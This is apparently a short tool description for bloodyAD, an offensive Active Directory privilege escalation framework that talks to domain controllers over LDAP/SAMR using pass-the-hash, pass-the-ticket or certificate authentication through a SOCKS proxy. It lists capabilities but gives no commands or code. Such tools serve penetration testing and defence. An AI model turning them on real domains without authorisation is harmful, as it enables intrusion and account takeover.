bloodyAD : Active Directory Privilege Escalation Framework

bloodyAD.py is an Active Directory privilege escalation swiss army knife

Description

This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.

bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.

It is designed to be used transparently with a SOCKS proxy.
